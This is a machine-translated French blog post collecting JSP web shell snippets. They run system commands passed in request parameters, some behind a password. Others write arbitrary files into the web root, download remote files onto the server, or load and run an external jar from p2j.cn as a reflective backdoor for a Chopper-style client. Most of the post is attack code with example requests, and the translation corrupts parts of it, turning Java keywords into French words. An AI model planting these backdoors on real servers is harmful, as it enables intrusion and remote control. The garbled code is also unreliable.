|
|
Publié sur 02/01/2015 18:46:57
|
|
|
|

Transféré depuis : http://p2j.cn/?p=1627 1. Exécuter les commandes système : Exécuter les commandes système sans écho : < %Runtime.getRuntime().exec(request.getParameter(« i »)) ;%> Demande : http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls Il n’y aura pas d’écho après l’exécution, ce qui est très pratique pour les coquilles rebondissantes. Il y a des échos avec la vérification des mots de passe : < % if(« 023 ».equals(request.getParameter(« pwd »)){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(« i »)).getInputStream() ; int a = -1 ; octet[] b = nouvel octet[2048] ; out.print(« <pre> ») ; while((a=in.read(b)) !=-1){ out.println(new String(b)) ; } out.print(« </pre> ») ; }%> Demande : http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls
2. Encodez la chaîne et écrivez-la dans le fichier spécifié : 1: < %new java.io.FileOutputStream(request.getParameter(« f »).write(request.getParameter(« c »).getBytes()) ;%> Demande : http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Écrivez dans le répertoire web : < %new java.io.FileOutputStream(application.getRealPath(« / »)+"/"+request.getParameter(« f »)).write(request.getParameter(« c »).getBytes() ;%> Demande : http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2: < %new java.io.RandomAccessFile(request.getParameter(« f »),"rw »).write(request.getParameter(« c »).getBytes()) ; %> Demande : http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Écrivez dans le répertoire web : < %new java.io.RandomAccessFile(application.getRealPath(« / »)+"/"+request.getParameter(« f »),"rw »).write(request.getParameter(« c »).getBytes()) ; %> Demande : http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 3 : Télécharger le fichier distant (si vous n’utilisez pas les utilitaires Apache IO, vous ne pouvez pas convertir le flux d’entrée en octet, donc il est très long...) < % java.io.InputStream in = new java.net.URL(request.getParameter(« u »).openStream() ; octet[] b = nouvel octet[1024] ; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream() ; int a = -1 ; tandis que ((a = in.read(b)) != -1) { baos.write(b, 0, a) ; } new java.io.FileOutputStream(request.getParameter(« f »)).write(baos.toByteArray()) ; %> Demande : http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png Téléchargez sur le chemin web : < % java.io.InputStream in = new java.net.URL(request.getParameter(« u »).openStream() ; octet[] b = nouvel octet[1024] ; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream() ; int a = -1 ; tandis que ((a = in.read(b)) != -1) { baos.write(b, 0, a) ; } new java.io.FileOutputStream(application.getRealPath(« / »)+"/"+ request.getParameter(« f »)).write(baos.toByteArray()) ; %> Demande : http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png Quatre : La réflexion appelle le bocal extérieur, parfait la porte arrière Si vous n’aimez pas la fonction de porte dérobée ci-dessus qui est trop faible et dépassée, vous pouvez essayer ceci : < %=Class.forName(« Load »,true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter(u »))}).getMethods()[0].invoke(null, new Object[]{ request.getParameterMap()}) %> Demande : http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A
Connexion couteau de cuisine : http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar, mot de passe 023.
Solution : Utilisez la réflexion pour charger un jar externe dans l’application courante, et la réflexion exécute le résultat du traitement de sortie. request.getParameterMap() contient tous les paramètres demandés. Puisque le package jar externe est chargé, le serveur doit pouvoir accéder à cette adresse jar. |
Précédent:La crise derrière le fichier texte TXTProchain:Chiffrement Java MD5, chiffrement et déchiffrement Base64 Java exécute le code source des commandes système
|